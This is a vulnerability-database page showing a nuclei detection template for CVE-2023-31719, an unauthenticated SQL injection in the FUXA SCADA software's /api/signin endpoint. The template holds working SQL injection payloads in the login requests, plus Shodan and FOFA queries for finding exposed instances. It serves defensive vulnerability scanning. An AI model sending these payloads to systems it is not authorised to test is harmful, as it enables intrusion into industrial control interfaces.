Lucene search
+L

FUXA <= 1.1.12 - Unauthenticated SQL Injection

🗓️ 30 Oct 2026 02:04:47Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 2 Views

Unauthenticated SQL injection in FUXA /api/signin allows arbitrary SQL commands.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2023-31719
22 Sep 202300:15
–attackerkb
circl
Circl
CVE-2023-31719
22 Sep 202309:02
–circl
cnnvd
CNNVD
FUXA SQL Injection Vulnerability
21 Sep 202300:00
–cnnvd
cve
CVE
CVE-2023-31719
21 Sep 202300:00
–cve
cvelist
Cvelist
CVE-2023-31719
21 Sep 202300:00
–cvelist
github
Github Security Blog
FUXA SQL Injection vulnerability
22 Sep 202300:30
–github
kitploit
Kitploit
CVE-2023-31719
29 Oct 202601:44
–kitploit
mend
Mend
CVE-2023-31719
21 Sep 202300:00
–mend
nvd
NVD
CVE-2023-31719
22 Sep 202300:15
–nvd
osv_cve
osv_cve
CVE-2023-31719
21 Sep 202300:00
–osv_cve
Rows per page
id: CVE-2023-31719

info:
  name: FUXA <= 1.1.12 - Unauthenticated SQL Injection
  author: Securin
  severity: critical
  description: |
    FUXA <= 1.1.12 contains a SQL injection caused by unsanitized input in /api/signin, letting attackers execute arbitrary SQL commands, exploit requires sending crafted input to the endpoint.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to the latest version of FUXA to fix the vulnerability.
  reference:
    - https://github.com/MateusTesser/CVE-2023-31719
    - https://github.com/frangoteam/FUXA/blob/v1.1.12/server/runtime/users/usrstorage.js
    - https://github.com/frangoteam/FUXA/blob/v1.1.12/server/api/auth/index.js
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31719
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-31719
    epss-score: 0.26032
    epss-percentile: 0.97981
    cwe-id: CWE-89
    cpe: cpe:2.3:a:frangoteam:fuxa:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: frangoteam
    product: fuxa
    shodan-query: http.title:"FUXA"
    fofa-query: title="FUXA"
  tags: cve,cve2023,fuxa,sqli,unauth,scada

variables:
  user: "{{rand_text_alpha(6)}}"
  pass: "{{rand_text_alpha(6)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /api/settings HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "daqTokenizer", "uiPort", "packageDir")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{user}}' OR nosuchfunc{{user}}(1)='1","password":"{{pass}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "SQLITE_ERROR")'
          - 'contains(body, "no such function: nosuchfunc{{user}}")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{user}}' OR '1'='1","password":"{{pass}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "Invalid email/password")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{user}}' AND '1'='2","password":"{{pass}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'len(body) == 0'
        condition: and
# digest: 4a0a0047304502200c0388b642242eeb12f8c9b299fee0881561c12adc6bca19f06ba78402e2a54e022100d9521dedbda34c3dc397094ff9c3ba1bbd20e2a56ac89970110cf8377ff05095:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Oct 2026 08:04Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.26032
SSVC
2